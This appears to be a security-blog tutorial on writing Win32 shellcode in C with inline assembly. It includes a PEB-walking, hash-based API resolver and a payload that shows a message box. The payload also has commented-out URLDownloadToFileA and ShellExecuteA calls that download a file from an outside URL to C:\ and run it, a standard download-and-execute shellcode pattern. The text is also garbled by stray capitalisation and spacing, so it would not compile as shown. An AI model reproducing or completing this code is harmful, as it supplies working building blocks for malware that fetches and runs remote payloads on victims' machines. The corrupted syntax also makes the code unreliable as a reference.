Use C language to write Shellcode for win32 platform
Microsoft Visual C ++ 6.0
Author: Cryin (http://hi.baidu.com/justear)
# Include <stdio. h>
# Include <Windows. h>
// The Code is based on the Didier Steven s article Writing WIN32 Shellcode With a C-compiler and source code
// Reference http://blog.didierstevens.com/2010/05/04/writing-win32-shellcode-with-a-c-compiler/
// The macro definition of the function hash value can be obtained based on the hash calculation process in the ResolvAddr process.
// Code by Steven s
# Define KERNEL32_HASH 0x000d4e88
# Define KERNEL32_LOADLIBRARYA_HASH 0x000d5786
# Define KERNEL32_GETPROCADDRESSA_HASH 0x00348bfa
// Add a custom function and directly copy the function definition in MSDN. Note that the function names are different.
// See function mounting
Typedef HMODULE (WINAPI * pLoadLibraryA) (LPCTSTR lpFileName );
Typedef FARPROC (WINAPI * pGetProcAddressA) (HMODULE hModule, LPCTSTR lpProcName );
Typedef int (WINAPI * pMessageBoxA) (HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );
Typedef HINSTANCE (WINAPI * pShellExecuteA )(
HWND hwnd,
LPCTSTR lpVerb,
LPCTSTR lpFile,
Lptstr lpParameters,
LPCTSTR lpDirectory,
INT nShowCmd
);
Typedef HRESULT (WINAPI * pURLDownloadToFileA) (LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK );
Struct ShellCodeInfo
{
PLoadLibraryA fLoadLibraryA;
PGetProcAddressA fGetProcAddressA;
HMODULE User32;
HMODULE Urlmon;
HMODULE shell32;
PMessageBoxA fMessageBoxA;
PShellExecuteA fShellExecuteA;
PURLDownloadToFileA fURLDownloadToFile;
};
Void ShellcodeEntry ();
Void ShellCodeStart (void)
{
_ Asm
{
Call ShellcodeEntry
Ret
}
}
Void ResolvAddr (pLoadLibraryA * pfLoadLibraryA, pGetProcAddressA * pfGetProcAddressA)
{
PLoadLibraryA fLoadLibraryA;
PGetProcAddressA fGetProcAddressA;
// Get The API function address code from The book Shellcoders Handbook
// Support win 2 k/NT/xp/7 others not tested
_ Asm
{
Push KERNEL32_LOADLIBRARYA_HASH
Push KERNEL32_HASH
Call ResolvFuncAddr
Mov fLoadLibraryA, eax
Push KERNEL32_GETPROCADDRESSA_HASH
Push KERNEL32_HASH
Call ResolvFuncAddr
Mov fGetProcAddressA, eax
Jmp totheend
ResolvFuncAddr:
Push ebp
Mov ebp, esp
Push ebx
Push esi
Push edi
Push ecx
Push fs: [0x30]
Pop eax
Mov eax, [eax + 0x0c]
Mov ecx, [eax + 0x0c]
Next_module:
Mov edx, [ecx]
Mov eax, [ecx + 0x30]
Push 0x02
Mov edi, [ebp + 0x08]
Push edi
Push eax
Call hashit
Test eax, eax
Jz foundmodule
Mov ecx, edx
Jmp next_module
Foundmodule:
Mov eax, [ecx + 0x18]
Push eax
Mov ebx, [eax + 0x3c]
Add eax, ebx
Mov ebx, [eax + 0x78]
Pop eax
Push eax
Add ebx, eax
Mov ecx, [ebx + 28]
Mov edx, [ebx + 32]
Mov ebx, [ebx + 36]
Add ecx, eax
Add edx, eax
Add ebx, eax
Find_procedure:
Mov esi, [edx]
Pop eax
Push eax
Add esi, eax
Push 1
Push [ebp + 12]
Push esi
Call hashit
Test eax, eax
Jz found_procedure
Add edx, 4
Add ebx, 2
Jmp find_procedure
Found_procedure:
Pop eax
Xor edx, edx
Mov dx, [ebx]
Shl edx, 2
Add ecx, edx
Add eax, [ecx]
Pop ecx
Pop edi
Pop esi
Pop ebx
Mov esp, ebp
Pop ebp
Ret 0x08
Hashit:
Push ebp
Mov ebp, esp
Push ecx
Push ebx
Push edx
Xor ecx, ecx
Xor ebx, ebx
Xor edx, edx
Mov eax, [ebp + 0x08]
Hashloop:
Mov dl, [eax]
Or dl, 0x60
Add ebx, edx
Shl ebx, 0x01
Add eax, [ebp + 16]
Mov cl, [eax]
Test cl, cl
Loopnz hashloop
Xor eax, eax
Mov ecx, [ebp + 12]
Cmp ebx, ecx
Jz donehash
Inc eax
Donehash:
Pop edx
Pop ebx
Pop ecx
Mov esp, ebp
Pop ebp
Ret 12
Totheend:
}
* PfLoadLibraryA = fLoadLibraryA;
* PfGetProcAddressA = fGetProcAddressA;
}
Void LoadShellcode (ShellCodeInfo * scinfo)
{
LPTSTR Title = "Cryin ";
LPTSTR Message = "Hello Shellcode! ";
LPTSTR url = "http://up.2cto.com/kf/201012/20101217125112766.gif ";
LPTSTR savepath = "C: \ logo.gif ";
// MessageBox (NULL, "hello Shellcode! "," Cryin ", 0 );
Scinfo-> fMessageBoxA (NULL, Message, Title, MB_ OK );
// Scinfo-> fURLDownloadToFile (NULL, url, savepath, NULL, NULL );
// Scinfo-> fShellExecuteA (NULL, 0, savepath, 0, SW_SHOW );
}
// Shellcode entry function
Void ShellcodeEntry ()
{
ShellCodeInfo scinfo;
ResolvAddr (& (scinfo. fLoadLibraryA), & (scinfo. fGetProcAddressA ));
Scinfo. User32 = scinfo. fLoadLibraryA ("User32.dll ");
Scinfo. Urlmon = scinfo. fLoadLibraryA ("Urlmon. dll ");
Scinfo. shell32 = scinfo. fLoadLibraryA ("shell32.dll ");
Scinfo. fMessageBoxA = (pMessageBoxA) scinfo. fGetProcAddressA (scinfo. User32, "MessageBoxA ");
// Scinfo. fShellExecuteA = (pShellExecuteA) scinfo. fGetProcAddressA (scinfo. shell32, "ShellExecuteA ");
// Scinfo. fURLDownloadToFile = (pURLDownloadToFileA) scinfo. fGetProcAddressA (scinfo. Urlmon, "URLDownloadToFileA ");
LoadShellcode (& scinfo );
}
Int main ()
{
// Shellcode length: (PDWORD) main-(PDWORD) ShellCodeStart;
// Shellcode start position: (PDWORD) ShellCodeStart
// Extract shellcode Based on the above information
// Here we want to implement automatic extraction but not. Manual extraction using winhex
ShellcodeEntry ();
Return 0;
}